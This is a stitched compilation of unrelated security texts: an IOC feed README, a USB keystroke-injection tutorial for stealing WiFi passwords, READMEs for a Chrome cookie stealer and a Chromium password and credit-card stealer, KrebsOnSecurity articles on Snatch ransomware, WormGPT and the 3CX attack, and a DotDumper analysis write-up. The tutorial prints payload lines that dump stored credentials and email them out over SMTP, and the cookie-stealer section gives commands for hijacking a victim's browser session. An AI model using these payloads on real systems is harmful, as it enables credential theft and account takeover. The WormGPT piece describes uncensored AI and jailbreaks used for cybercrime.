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Free to use IOC feed for various tools/malware. It started out for just C2 tools but has morphed into tracking infostealers and botnets as well. It uses shodan.io/">Shodan searches to collect the IPs. The most recent collection is always stored in data; the IPs are broken down by tool and there is an all.txt.
The feed should update daily. Actively working on making the backend more reliable
Many of the Shodan queries have been sourced from other CTI researchers:
Huge shoutout to them!
Thanks to BertJanCyber for creating the KQL query for ingesting this feed
And finally, thanks to Y_nexro for creating C2Live in order to visualize the data
If you want to host a private version, put your Shodan API key in an environment variable called SHODAN_API_KEY
FreshRSS 
echo SHODAN_API_KEY=API_KEY >> ~/.bashrc
bash
python3 -m pip install -r requirements.txt
python3 tracker.py
I encourage opening an issue/PR if you know of any additional Shodan searches for identifying adversary infrastructure. I will not set any hard guidelines around what can be submitted, just know, fidelity is paramount (high true/false positive ratio is the focus).
Have you ever watched a film where a hacker would plug-in, seemingly ordinary, USB drive into a victim's computer and steal data from it? - A proper wet dream for some.
Disclaimer: All content in this project is intended for security research purpose only.
During the summer of 2022, I decided to do exactly that, to build a device that will allow me to steal data from a victim's computer. So, how does one deploy malware and exfiltrate data? In the following text I will explain all of the necessary steps, theory and nuances when it comes to building your own keystroke injection tool. While this project/tutorial focuses on WiFi passwords, payload code could easily be altered to do something more nefarious. You are only limited by your imagination (and your technical skills).
After creating pico-ducky, you only need to copy the modified payload (adjusted for your SMTP details for Windows exploit and/or adjusted for the Linux password and a USB drive name) to the RPi Pico.
Physical access to victim's computer.
Unlocked victim's computer.
Victim's computer has to have an internet access in order to send the stolen data using SMTP for the exfiltration over a network medium.
Knowledge of victim's computer password for the Linux exploit.
Note:
It is possible to build this tool using Rubber Ducky, but keep in mind that RPi Pico costs about $4.00 and the Rubber Ducky costs $80.00.
However, while pico-ducky is a good and budget-friedly solution, Rubber Ducky does offer things like stealthiness and usage of the lastest DuckyScript version.
In order to use Ducky Script to write the payload on your RPi Pico you first need to convert it to a pico-ducky. Follow these simple steps in order to create pico-ducky.
Keystroke injection tool, once connected to a host machine, executes malicious commands by running code that mimics keystrokes entered by a user. While it looks like a USB drive, it acts like a keyboard that types in a preprogrammed payload. Tools like Rubber Ducky can type over 1,000 words per minute. Once created, anyone with physical access can deploy this payload with ease.
The payload uses STRING command processes keystroke for injection. It accepts one or more alphanumeric/punctuation characters and will type the remainder of the line exactly as-is into the target machine. The ENTER/SPACE will simulate a press of keyboard keys.
We use DELAY command to temporarily pause execution of the payload. This is useful when a payload needs to wait for an element such as a Command Line to load. Delay is useful when used at the very beginning when a new USB device is connected to a targeted computer. Initially, the computer must complete a set of actions before it can begin accepting input commands. In the case of HIDs setup time is very short. In most cases, it takes a fraction of a second, because the drivers are built-in. However, in some instances, a slower PC may take longer to recognize the pico-ducky. The general advice is to adjust the delay time according to your target.
Data exfiltration is an unauthorized transfer of data from a computer/device. Once the data is collected, adversary can package it to avoid detection while sending data over the network, using encryption or compression. Two most common way of exfiltration are:
This approach was used for the Windows exploit. The whole payload can be seen here.
This approach was used for the Linux exploit. The whole payload can be seen here.
In order to use the Windows payload (payload1.dd), you don't need to connect any jumper wire between pins.
Once passwords have been exported to the .txt file, payload will send the data to the appointed email using Yahoo SMTP. For more detailed instructions visit a following link. Also, the payload template needs to be updated with your SMTP information, meaning that you need to update RECEIVER_EMAIL, SENDER_EMAIL and yours email PASSWORD. In addition, you could also update the body and the subject of the email.
| STRING Send-MailMessage -To 'RECEIVER_EMAIL' -from 'SENDER_EMAIL' -Subject "Stolen data from PC" -Body "Exploited data is stored in the attachment." -Attachments .\wifi_pass.txt -SmtpServer 'smtp.mail.yahoo.com' -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList 'SENDER_EMAIL', $('PASSWORD' | ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587 |
Note:
After sending data over the email, the
.txtfile is deleted.You can also use some an SMTP from another email provider, but you should be mindful of SMTP server and port number you will write in the payload.
Keep in mind that some networks could be blocking usage of an unknown SMTP at the firewall.
In order to use the Linux payload (payload2.dd) you need to connect a jumper wire between GND and GPIO5 in order to comply with the code in code.py on your RPi Pico. For more information about how to setup multiple payloads on your RPi Pico visit this link.
Once passwords have been exported from the computer, data will be saved to the appointed USB flash drive. In order for this payload to function properly, it needs to be updated with the correct name of your USB drive, meaning you will need to replace USBSTICK with the name of your USB drive in two places.
| STRING echo -e "Wireless_Network_Name Password\n--------------------- --------" > /media/$(hostname)/USBSTICK/wifi_pass.txt |
| STRING done >> /media/$(hostname)/USBSTICK/wifi_pass.txt |
In addition, you will also need to update the Linux PASSWORD in the payload in three places. As stated above, in order for this exploit to be successful, you will need to know the victim's Linux machine password, which makes this attack less plausible.
| STRING echo PASSWORD | sudo -S echo |
| STRING do echo -e "$(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=ssid=).*') \t\t\t\t $(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=psk=).*')" |
In order to run the wifi_passwords_print.sh script you will need to update the script with the correct name of your USB stick after which you can type in the following command in your terminal:
echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICKwhere PASSWORD is your account's password and USBSTICK is the name for your USB device.
NetworkManager is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses .ini-style keyfile format and stores network configuration profiles. The keyfile is a plugin that supports all the connection types and capabilities that NetworkManager has. The files are located in /etc/NetworkManager/system-connections/. Based on the keyfile format, the payload uses the grep command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used ((?<=keyword)). While the positive lookbehind assertion will match at a certain position in the string, sc. at a position right after the keyword without making that text itself part of the match, the regex (?<=keyword).* will match any text after the keyword. This allows the payload to match the values after SSID and psk (pre-shared key) keywords.
For more information about NetworkManager here is some useful links:
Below is an example of the exfiltrated and formatted data from a victim's machine in a .txt file.
WiFi-password-stealer/resources/wifi_pass.txt
Lines 1 to 5 in f5b3b11
| Wireless_Network_Name Password | |
| --------------------- -------- | |
| WLAN1 pass1 | |
| WLAN2 pass2 | |
| WLAN3 pass3 |
One of the advantages of Rubber Ducky over RPi Pico is that it doesn't show up as a USB mass storage device once plugged in. Once plugged into the computer, all the machine sees it as a USB keyboard. This isn't a default behavior for the RPi Pico. If you want to prevent your RPi Pico from showing up as a USB mass storage device when plugged in, you need to connect a jumper wire between pin 18 (GND) and pin 20 (GPIO15). For more details visit this link.
Tip:
- Upload your payload to RPi Pico before you connect the pins.
- Don't solder the pins because you will probably want to change/update the payload at some point.
When creating a functioning payload file, you can use the writer.py script, or you can manually change the template file. In order to run the script successfully you will need to pass, in addition to the script file name, a name of the OS (windows or linux) and the name of the payload file (e.q. payload1.dd). Below you can find an example how to run the writer script when creating a Windows payload.
python3 writer.py windows payload1.ddThis pico-ducky currently works only on Windows OS.
This attack requires physical access to an unlocked device in order to be successfully deployed.
The Linux exploit is far less likely to be successful, because in order to succeed, you not only need physical access to an unlocked device, you also need to know the admins password for the Linux machine.
Machine's firewall or network's firewall may prevent stolen data from being sent over the network medium.
Payload delays could be inadequate due to varying speeds of different computers used to deploy an attack.
The pico-ducky device isn't really stealthy, actually it's quite the opposite, it's really bulky especially if you solder the pins.
Also, the pico-ducky device is noticeably slower compared to the Rubber Ducky running the same script.
If the Caps Lock is ON, some of the payload code will not be executed and the exploit will fail.
If the computer has a non-English Environment set, this exploit won't be successful.
Currently, pico-ducky doesn't support DuckyScript 3.0, only DuckyScript 1.0 can be used. If you need the 3.0 version you will have to use the Rubber Ducky.
Caps Lock bug.sudo.
Attaches to Chrome using its Remote DevTools protocol and steals/injects/clears/deletes cookies.
Heavily inspired by WhiteChocolateMacademiaNut.
Cookies are dumped as JSON objects using Chrome's own format. The same format is used for cookies to be loaded.
For legal use only.
Steal a victim's cookies:
git clone https://github.com/magisterquis/chromecookiestealer.git
cd chromecookiestealer
go build
pkill Chrome
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --restore-last-session # Varies by target
./chromecookiestealer -dump ./cookies.jsonInject into the attacker's local browser:
# Start Chrome with a debug port, as above.
./chromecookiestealer -clear -inject ./cookies.jsonUsage: chromecookiestealer [options]
Attaches to Chrome using the Remote DevTools Protocol (--remote-debugging-port)
and, in order and as requested:
- Dumps cookies
- Clears cookies
- Injects cookies
- Deletes selected cookies
Parameters for cookies to be deleted should be represented as an array of JSON
objects with the following string fields:
name - Name of the cookies to remove.
url - If specified, deletes all the cookies with the given name where domain
and path match provided URL.
domain - If specified, deletes only cookies with the exact domain.
path - If specified, deletes only cookies with the exact path.
Filenames may also be "-" for stdin/stdout.
Options:
-chrome URL
Chrome remote debugging URL (default "ws://127.0.0.1:9222")
-clear
C lear browser cookies
-delete file
Name of file containing parameters for cookies to delete
-dump file
Name of file to which to dump stolen cookies
-inject file
Name of file containing cookies to inject
-no-summary
Don't print a summary on exit
-verbose
Enable verbose logging
go build should be all that's necessary. The following may be set at compile time with -ldflags '-X main.Foo=bar' for a touch more on-target stealth.
| Variable | Description |
|---|---|
| DumpFile | Name of a file to which to dump cookies. Implies -dump
|
| InjectFile | Name of a file from which to inject cookies. Implies -inject
|
| DeleteFile | Name of a file with parameters describing cookies to delete. Implies -delete
|
| DoClear | If set to any value, implies -clear
|
None of the above are set by default.
The Chrome DevTools Protocol is a bit of a moving target. It may be necessary to use a newer version of the chromedp and cdproto libraries should this program stop working. This can be done with
go get -u -v all
go mod tidy
go buildwhich could well have the side-effect of breaking everything else.
¯\_(ツ)_/¯
The victim shaming site operated by the Snatch ransomware group is leaking data about its true online location and internal operations, as well as the Internet addresses of its visitors, KrebsOnSecurity has found. The leaked data suggest that Snatch is one of several ransomware groups using paid ads on Google.com to trick people into installing malware disguised as popular free software, such as Microsoft Teams, Adobe Reader, Mozilla Thunderbird, and Discord.
First spotted in 2018, the Snatch ransomware group has published data stolen from hundreds of organizations that refused to pay a ransom demand. Snatch publishes its stolen data at a website on the open Internet, and that content is mirrored on the Snatch team’s darknet site, which is only reachable using the global anonymity network Tor.
The victim shaming website for the Snatch ransomware gang.
KrebsOnSecurity has learned that Snatch’s darknet site exposes its “server status” page, which includes information about the true Internet addresses of users accessing the website.
Refreshing this page every few seconds shows that the Snatch darknet site generates a decent amount of traffic, often attracting thousands of visitors each day. But by far the most frequent repeat visitors are coming from Internet addresses in Russia that either currently host Snatch’s clear web domain names or recently did.
The Snatch ransomware gang’s victim shaming site on the darknet is leaking data about its visitors. This “server status” page says that Snatch’s website is on Central European Summer Time (CEST) and is powered by OpenSSL/1.1.1f, which is no longer supported by security updates.
Probably the most active Internet address accessing Snatch’s darknet site is 193.108.114[.]41, which is a server in Yekaterinburg, Russia that hosts several Snatch domains, including snatchteam[.]top, sntech2ch[.]top, dwhyj2[.]top and sn76930193ch[.]top. It could well be that this Internet address is showing up frequently because Snatch’s clear-web site features a toggle button at the top that lets visitors switch over to accessing the site via Tor.
Another Internet address that showed up frequently in the Snatch server status page was 194.168.175[.]226, currently assigned to Matrix Telekom in Russia. According to DomainTools.com, this address also hosts or else recently hosted the usual coterie of Snatch domains, as well as quite a few domains phishing known brands such as Amazon and Cashapp.
The Moscow Internet address 80.66.64[.]15 accessed the Snatch darknet site all day long, and that address also housed the appropriate Snatch clear-web domains. More interestingly, that address is home to multiple recent domains that appear confusingly similar to known software companies, including libreoff1ce[.]com and www-discord[.]com.
This is interesting because the phishing domains associated with the Snatch ransomware gang were all registered to the same Russian name — Mihail Kolesnikov, a name that is somewhat synonymous with recent phishing domains tied to malicious Google ads.
Kolesnikov could be a nod to a Russian general made famous during Boris Yeltsin’s reign. Either way, it’s clearly a pseudonym, but there are some other commonalities among these domains that may provide insight into how Snatch and other ransomware groups are sourcing their victims.
DomainTools says there are more than 1,300 current and former domain names registered to Mihail Kolesnikov between 2013 and July 2023. About half of the domains appear to be older websites advertising female escort services in major cities around the United States (e.g. the now-defunct pittsburghcitygirls[.]com).
The other half of the Kolesnikov websites are far more recent phishing domains mostly ending in “.top” and “.app” that appear designed to mimic the domains of major software companies, including www-citrix[.]top, www-microsofteams[.]top, www-fortinet[.]top, ibreoffice[.]top, www-docker[.]top, www-basecamp[.]top, ccleaner-cdn[.]top, adobeusa[.]top, and www.real-vnc[.]top.
In August 2023, researchers with Trustwave Spiderlabs said they encountered domains registered to Mihail Kolesnikov being used to disseminate the Rilide information stealer trojan.
But it appears multiple crime groups may be using these domains to phish people and disseminate all kinds of information-stealing malware. In February 2023, Spamhaus warned of a huge surge in malicious ads that were hijacking search results in Google.com, and being used to distribute at least five different families of information stealing trojans, including AuroraStealer, IcedID/Bokbot, Meta Stealer, RedLine Stealer and Vidar.
For example, Spamhaus said victims of these malicious ads would search for Microsoft Teams in Google.com, and the search engine would often return a paid ad spoofing Microsoft or Microsoft Teams as the first result — above all other results. The malicious ad would include a logo for Microsoft and at first glance appear to be a safe and trusted place to download the Microsoft Teams client.
However, anyone who clicked on the result was whisked away instead to mlcrosofteams-us[.]top — yet another malicious domain registered to Mr. Kolesnikov. And while visitors to this website may believe they are only downloading the Microsoft Teams client, the installer file includes a copy of the IcedID malware, which is really good at stealing passwords and authentication tokens from the victim’s web browser.
Image: Spamhaus
The founder of the Swiss anti-abuse website abuse.ch told Spamhaus it is likely that some cybercriminals have started to sell “malvertising as a service” on the dark web, and that there is a great deal of demand for this service.
In other words, someone appears to have built a very profitable business churning out and promoting new software-themed phishing domains and selling that as a service to other cybercriminals. Or perhaps they are simply selling any stolen data (and any corporate access) to active and hungry ransomware group affiliates.
The tip about the exposed “server status” page on the Snatch darkweb site came from @htmalgae, the same security researcher who alerted KrebsOnSecurity earlier this month that the darknet victim shaming site run by the 8Base ransomware gang was inadvertently left in development mode.
That oversight revealed not only the true Internet address of the hidden 8Base site (in Russia, naturally), but also the identity of a programmer in Moldova who apparently helped to develop the 8Base code.
@htmalgae said the idea of a ransomware group’s victim shaming site leaking data that they did not intend to expose is deliciously ironic.
“This is a criminal group that shames others for not protecting user data,” @htmalgae said. “And here they are leaking their user data.”
All of the malware mentioned in this story is designed to run on Microsoft Windows devices. But Malwarebytes recently covered the emergence of a Mac-based information stealer trojan called AtomicStealer that was being advertised through malicious Google ads and domains that were confusingly similar to software brands.
Please be extra careful when you are searching online for popular software titles. Cracked, pirated copies of major software titles are a frequent source of infostealer infections, as are these rogue ads masquerading as search results. Make sure to double-check you are actually at the domain you believe you’re visiting *before* you download and install anything.
Stay tuned for Part II of this post, which includes a closer look at the Snatch ransomware group and their founder.
Further reading:
@HTMalgae’s list of the top Internet addresses seen accessing Snatch’s darknet site
Ars Technica: Until Further Notice Think Twice Before Using Google to Download Software
Bleeping Computer: Hackers Abuse Google Ads to Spread Malware in Legit Software
WormGPT, a private new chatbot service advertised as a way to use Artificial Intelligence (AI) to write malicious software without all the pesky prohibitions on such activity enforced by the likes of ChatGPT and Google Bard, has started adding restrictions of its own on how the service can be used. Faced with customers trying to use WormGPT to create ransomware and phishing scams, the 23-year-old Portuguese programmer who created the project now says his service is slowly morphing into “a more controlled environment.”
Image: SlashNext.com.
The large language models (LLMs) made by ChatGPT parent OpenAI or Google or Microsoft all have various safety measures designed to prevent people from abusing them for nefarious purposes — such as creating malware or hate speech. In contrast, WormGPT has promoted itself as a new, uncensored LLM that was created specifically for cybercrime activities.
WormGPT was initially sold exclusively on HackForums, a sprawling, English-language community that has long featured a bustling marketplace for cybercrime tools and services. WormGPT licenses are sold for prices ranging from 500 to 5,000 Euro.
“Introducing my newest creation, ‘WormGPT,’ wrote “Last,” the handle chosen by the HackForums user who is selling the service. “This project aims to provide an alternative to ChatGPT, one that lets you do all sorts of illegal stuff and easily sell it online in the future. Everything blackhat related that you can think of can be done with WormGPT, allowing anyone access to malicious activity without ever leaving the comfort of their home.”
WormGPT’s core developer and frontman “Last” promoting the service on HackForums. Image: SlashNext.
In July, an AI-based security firm called SlashNext analyzed WormGPT and asked it to create a “business email compromise” (BEC) phishing lure that could be used to trick employees into paying a fake invoice.
“The results were unsettling,” SlashNext’s Daniel Kelley wrote. “WormGPT produced an email that was not only remarkably persuasive but also strategically cunning, showcasing its potential for sophisticated phishing and BEC attacks.”
SlashNext asked WormGPT to compose this BEC phishing email. Image: SlashNext.
A review of Last’s posts on HackForums over the years shows this individual has extensive experience creating and using malicious software. In August 2022, Last posted a sales thread for “Arctic Stealer,” a data stealing trojan and keystroke logger that he sold there for many months.
“I’m very experienced with malwares,” Last wrote in a message to another HackForums user last year.
Last has also sold a modified version of the information stealer DCRat, as well as an obfuscation service marketed to malicious coders who sell their creations and wish to insulate them from being modified or copied by customers.
Shortly after joining the forum in early 2021, Last told several different Hackforums users his name was Rafael and that he was from Portugal. HackForums has a feature that allows anyone willing to take the time to dig through a user’s postings to learn when and if that user was previously tied to another account.
That account tracing feature reveals that while Last has used many pseudonyms over the years, he originally used the nickname “ruiunashackers.” The first search result in Google for that unique nickname brings up a TikTok account with the same moniker, and that TikTok account says it is associated with an Instagram account for a Rafael Morais from Porto, a coastal city in northwest Portugal.
Reached via Instagram and Telegram, Morais said he was happy to chat about WormGPT.
“You can ask me anything,” Morais said. “I’m an open book.”
Morais said he recently graduated from a polytechnic institute in Portugal, where he earned a degree in information technology. He said only about 30 to 35 percent of the work on WormGPT was his, and that other coders are contributing to the project. So far, he says, roughly 200 customers have paid to use the service.
“I don’t do this for money,” Morais explained. “It was basically a project I thought [was] interesting at the beginning and now I’m maintaining it just to help [the] community. We have updated a lot since the release, our model is now 5 or 6 times better in terms of learning and answer accuracy.”
WormGPT isn’t the only rogue ChatGPT clone advertised as friendly to malware writers and cybercriminals. According to SlashNext, one unsettling trend on the cybercrime forums is evident in discussion threads offering “jailbreaks” for interfaces like ChatGPT.
“These ‘jailbreaks’ are specialised prompts that are becoming increasingly common,” Kelley wrote. “They refer to carefully crafted inputs designed to manipulate interfaces like ChatGPT into generating output that might involve disclosing sensitive information, producing inappropriate content, or even executing harmful code. The proliferation of such practices underscores the rising challenges in maintaining AI security in the face of determined cybercriminals.”
Morais said they have been using the GPT-J 6B model since the service was launched, although he declined to discuss the source of the LLMs that power WormGPT. But he said the data set that informs WormGPT is enormous.
“Anyone that tests wormgpt can see that it has no difference from any other uncensored AI or even chatgpt with jailbreaks,” Morais explained. “The game changer is that our dataset [library] is big.”
Morais said he began working on computers at age 13, and soon started exploring security vulnerabilities and the possibility of making a living by finding and reporting them to software vendors.
“My story began in 2013 with some greyhat activies, never anything blackhat tho, mostly bugbounty,” he said. “In 2015, my love for coding started, learning c# and more .net programming languages. In 2017 I’ve started using many hacking forums because I have had some problems home (in terms of money) so I had to help my parents with money… started selling a few products (not blackhat yet) and in 2019 I started turning blackhat. Until a few months ago I was still selling blackhat products but now with wormgpt I see a bright future and have decided to start my transition into whitehat again.”
WormGPT sells licenses via a dedicated channel on Telegram, and the channel recently lamented that media coverage of WormGPT so far has painted the service in an unfairly negative light.
“We are uncensored, not blackhat!” the WormGPT channel announced at the end of July. “From the beginning, the media has portrayed us as a malicious LLM (Language Model), when all we did was use the name ‘blackhatgpt’ for our Telegram channel as a meme. We encourage researchers to test our tool and provide feedback to determine if it is as bad as the media is portraying it to the world.”
It turns out, when you advertise an online service for doing bad things, people tend to show up with the intention of doing bad things with it. WormGPT’s front man Last seems to have acknowledged this at the service’s initial launch, which included the disclaimer, “We are not responsible if you use this tool for doing bad stuff.”
But lately, Morais said, WormGPT has been forced to add certain guardrails of its own.
“We have prohibited some subjects on WormGPT itself,” Morais said. “Anything related to murders, drug traffic, kidnapping, child porn, ransomwares, financial crime. We are working on blocking BEC too, at the moment it is still possible but most of the times it will be incomplete because we already added some limitations. Our plan is to have WormGPT marked as an uncensored AI, not blackhat. In the last weeks we have been blocking some subjects from being discussed on WormGPT.”
Still, Last has continued to state on HackForums — and more recently on the far more serious cybercrime forum Exploit — that WormGPT will quite happily create malware capable of infecting a computer and going “fully undetectable” (FUD) by virtually all of the major antivirus makers (AVs).
“You can easily buy WormGPT and ask it for a Rust malware script and it will 99% sure be FUD against most AVs,” Last told a forum denizen in late July.
Asked to list some of the legitimate or what he called “white hat” uses for WormGPT, Morais said his service offers reliable code, unlimited characters, and accurate, quick answers.
“We used WormGPT to fix some issues on our website related to possible sql problems and exploits,” he explained. “You can use WormGPT to create firewalls, manage iptables, analyze network, code blockers, math, anything.”
Morais said he wants WormGPT to become a positive influence on the security community, not a destructive one, and that he’s actively trying to steer the project in that direction. The original HackForums thread pimping WormGPT as a malware writer’s best friend has since been deleted, and the service is now advertised as “WormGPT – Best GPT Alternative Without Limits — Privacy Focused.”
“We have a few researchers using our wormgpt for whitehat stuff, that’s our main focus now, turning wormgpt into a good thing to [the] community,” he said.
It’s unclear yet whether Last’s customers share that view.
This python program gets all the saved passwords, credit cards and bookmarks from chromium based browsers supports chromium 80 and above!
To install all the required modules use the following code:
pip install -r requirements.txt
✔ Amigo
✔ Torch
✔ Kometa
✔ Orbitum
✔ Cent-browser
✔ 7star
✔ Sputnik
✔ Vivaldi
✔ Google-chrome-sxs
✔ Google-chrome
✔ Epic-privacy-browser
✔ Microsoft-edge
✔ Uran
✔ Yandex
✔ Brave
✔ Iridiumpip install -r requirements.txt
Just run this chromium_based_browsers.py the code will create a folder based on the browser name and stores the saved passwords, credit cards and bookmarks in that folder.
We learned some remarkable new details this week about the recent supply-chain attack on VoIP software provider 3CX. The lengthy, complex intrusion has all the makings of a cyberpunk spy novel: North Korean hackers using legions of fake executive accounts on LinkedIn to lure people into opening malware disguised as a job offer; malware targeting Mac and Linux users working at defense and cryptocurrency firms; and software supply-chain attacks nested within earlier supply chain attacks.
Researchers at ESET say this job offer from a phony HSBC recruiter on LinkedIn was North Korean malware masquerading as a PDF file.
In late March 2023, 3CX disclosed that its desktop applications for both Windows and macOS were compromised with malicious code that gave attackers the ability to download and run code on all machines where the app was installed. 3CX says it has more than 600,000 customers and 12 million users in a broad range of industries, including aerospace, healthcare and hospitality.
3CX hired incident response firm Mandiant, which released a report on Wednesday that said the compromise began in 2022 when a 3CX employee installed a malware-laced software package distributed via an earlier software supply chain compromise that began with a tampered installer for X_TRADER, a software package provided by Trading Technologies.
“This is the first time Mandiant has seen a software supply chain attack lead to another software supply chain attack,” reads the April 20 Mandiant report.
Mandiant found the earliest evidence of compromise uncovered within 3CX’s network was through the VPN using the employee’s corporate credentials, two days after the employee’s personal computer was compromised.
“Eventually, the threat actor was able to compromise both the Windows and macOS build environments,” 3CX said in an April 20 update on their blog.
Mandiant concluded that the 3CX attack was orchestrated by the North Korean state-sponsored hacking group known as Lazarus, a determination that was independently reached earlier by researchers at Kaspersky Lab and Elastic Security.
Mandiant found the compromised 3CX software would download malware that sought out new instructions by consulting encrypted icon files hosted on GitHub. The decrypted icon files revealed the location of the malware’s control server, which was then queried for a third stage of the malware compromise — a password stealing program dubbed ICONICSTEALER.
The double supply chain compromise that led to malware being pushed out to some 3CX customers. Image: Mandiant.
Meanwhile, the security firm ESET today published research showing remarkable similarities between the malware used in the 3CX supply chain attack and Linux-based malware that was recently deployed via fake job offers from phony executive profiles on LinkedIn. The researchers said this was the first time Lazarus had been spotted deploying malware aimed at Linux users.
As reported in a series last summer here, LinkedIn has been inundated this past year by fake executive profiles for people supposedly employed at a range of technology, defense, energy and financial companies. In many cases, the phony profiles spoofed chief information security officers at major corporations, and some attracted quite a few connections before their accounts were terminated.
Mandiant, Proofpoint and other experts say Lazarus has long used these bogus LinkedIn profiles to lure targets into opening a malware-laced document that is often disguised as a job offer. This ongoing North Korean espionage campaign using LinkedIn was first documented in August 2020 by ClearSky Security, which said the Lazarus group operates dozens of researchers and intelligence personnel to maintain the campaign globally.
Microsoft Corp., which owns LinkedIn, said in September 2022 that it had detected a wide range of social engineering campaigns using a proliferation of phony LinkedIn accounts. Microsoft said the accounts were used to impersonate recruiters at technology, defense and media companies, and to entice people into opening a malicious file. Microsoft found the attackers often disguised their malware as legitimate open-source software like Sumatra PDF and the SSH client Putty.
Microsoft attributed those attacks to North Korea’s Lazarus hacking group, although they’ve traditionally referred to this group as “ZINC“. That is, until earlier this month, when Redmond completely revamped the way it names threat groups; Microsoft now references ZINC as “Diamond Sleet.”
The ESET researchers said they found a new fake job lure tied to an ongoing Lazarus campaign on LinkedIn designed to compromise Linux operating systems. The malware was found inside of a document that offered an employment contract at the multinational bank HSBC.
“A few weeks ago, a native Linux payload was found on VirusTotal with an HSBC-themed PDF lure,” wrote ESET researchers Peter Kalnai and Marc-Etienne M.Leveille. “This completes Lazarus’s ability to target all major desktop operating systems. In this case, we were able to reconstruct the full chain, from the ZIP file that delivers a fake HSBC job offer as a decoy, up until the final payload.”
ESET said the malicious PDF file used in the scheme appeared to have a file extension of “.pdf,” but that this was a ruse. ESET discovered that the dot in the filename wasn’t a normal period but instead a Unicode character (U+2024) representing a “leader dot,” which is often used in tables of contents to connect section headings with the page numbers on which those sections begin.
“The use of the leader dot in the filename was probably an attempt to trick the file manager into treating the file as an executable instead of a PDF,” the researchers continued. “This could cause the file to run when double-clicked instead of opening it with a PDF viewer.”
ESET said anyone who opened the file would see a decoy PDF with a job offer from HSBC, but in the background the executable file would download additional malware payloads. The ESET team also found the malware was able to manipulate the program icon displayed by the malicious PDF, possibly because fiddling with the file extension could cause the user’s system to display a blank icon for the malware lure.
Kim Zetter, a veteran Wired.com reporter and now independent security journalist, interviewed Mandiant researchers who said they expect “many more victims” will be discovered among the customers of Trading Technologies and 3CX now that news of the compromised software programs is public.
“Mandiant informed Trading Technologies on April 11 that its X_Trader software had been compromised, but the software maker says it has not had time to investigate and verify Mandiant’s assertions,” Zetter wrote in her Zero Day newsletter on Substack. For now, it remains unclear whether the compromised X_Trader software was downloaded by people at other software firms.
If there’s a silver lining here, the X_Trader software had been decommissioned in April 2020 — two years before the hackers allegedly embedded malware in it.
“The company hadn’t released new versions of the software since that time and had stopped providing support for the product, making it a less-than-ideal vector for the North Korean hackers to infect customers,” Zetter wrote.
An automatic unpacker and logger for DotNet Framework targeting files! This tool has been unveiled at Black Hat USA 2022.
The automatic detection and classification of any given file in a reliable manner is often considered the holy grail of malware analysis. The trials and tribulations to get there are plenty, which is why the creation of such a system is held in high regard. When it comes to DotNet targeting binaries, our new open-source tool DotDumper aims to assist in several of the crucial steps along the way: logging (in-memory) activity, dumping interesting memory segments, and extracting characteristics from the given sample.
In brief, manual unpacking is a tedious process which consumes a disproportional amount of time for analysts. Obfuscated binaries further increase the time an analyst must spend to unpack a given file. When scaling this, organizations need numerous analysts who dissect malware daily, likely in combination with a scalable sandbox. The lost valuable time could be used to dig into interesting campaigns or samples to uncover new threats, rather than the mundane generic malware that is widely spread. Afterall, analysts look for the few needles in the haystack.
So, what difference does DotDumper make? Running a DotNet based malware sample via DotDumper provides log files of crucial, contextualizing, and common function calls in three formats (human readable plaintext, JSON, and XML), as well as copies from useful in-memory segments. As such, an analyst can skim through the function call log. Additionally, the dumped files can be scanned to classify them, providing additional insight into the malware sample and the data it contains. This cuts down on time vital to the triage and incident response processes, and frees up SOC analyst and researcher time for more sophisticated analysis needs.
To log and dump the contextualizing function calls and their results, DotDumper uses a mixture of reflection and managed hooks, all written in pure C#. Below, key features will be highlighted and elaborated upon, in combination with excerpts of DotDumper’s results of a packed AgentTesla stealer sample, the hashes of which are below.
| Hash type | Hash value |
|---|---|
| SHA-256 | b7512e6b8e9517024afdecc9e97121319e7dad2539eb21a79428257401e5558d |
| SHA-1 | c10e48ee1f802f730f41f3d11ae9d7bcc649080c |
| MD-5 | 23541daadb154f1f59119952e7232d6b |
DotDumper is accessible through a command-line interface, with a variety of arguments. The image below shows the help menu. Note that not all arguments will be discussed, but rather the most used ones.
The minimal requirement to run a given sample, is to provide the “-file” argument, along with a file name or file path. If a full path is given, it is used. If a file name is given, the current working directory is checked, as well as the folder of DotDumper’s executable location.
Unless a directory name is provided, the “-log” folder name is set equal to the file name of the sample without the extension (if any). The folder is located in the same folder as DotDumper resides in, which is where the logs and dumped files will be saved in.
In the case of a library, or an alternative entry point into a binary, one must override the entry point using “-overrideEntry true”. Additionally, one has to provide the fully qualified class, which includes the name space using “-fqcn My.NameSpace.MyClass”. This tells DotDumper which class to select, which is where the provided function name (using “-functionName MyFunction”) is retrieved.
If the selected function requires arguments, one has to provide the number of arguments using “-argc” and the number of required arguments. The argument types and values are to be provided as “string|myValue int|9”. Note that when spaces are used in the values, the argument on the command-line interface needs to be encapsulated between quotes to ensure it is passed as a single argument.
Other less frequently used options such as “-raceTime” or “-deprecated” are safe in their default settings but might require tweaking in the future due to changes in the DotNet Framework. They are currently exposed in the command-line interface to easily allow changes, if need be, even if one is using an older version of DotDumper when the time comes.
Logging and dumping are the two core features of DotDumper. To minimize the amount of time the analysis takes, the logging should provide context to the analyst. This is done by providing the analyst with the following information for each logged function call:
Note that for each dumped file, the file name is equal to the file’s SHA-256 hash.
To clarify the above, an excerpt of a log is given below. The excerpt shows the details for the aforementioned AgentTesla sample, where it loads the second stage using DotNet’s Assembly.Load function.
First, the local system time is given, together with the original function’s return type, name, and argument(s). Second, the stack trace is given, where it shows that the sample’s main function leads to a constructor, initialises the components, and calls two custom functions. The Assembly.Load function was called from within “NavigationLib.TaskEightBestOil.GGGGGGGGGGGGGGGGGGGG(String str)”. This provides context for the analyst to find the code around this call if it is of interest.
Then, information regarding the assembly call order is given. The more stages are loaded, the more complex it becomes to see via which stages the call came to be. One normally expects one stage to load the next, but in some cases later stages utilize previous stages in a non-linear order. Additionally, information regarding the originating assembly is given to further enrich the data for the analyst.
Next, the parent hash is given. The parent of a stage is the previous stage, which in this example is not yet present. The newly loaded stage will have this stage as its parent. This allows the analyst to correlate events more easily.
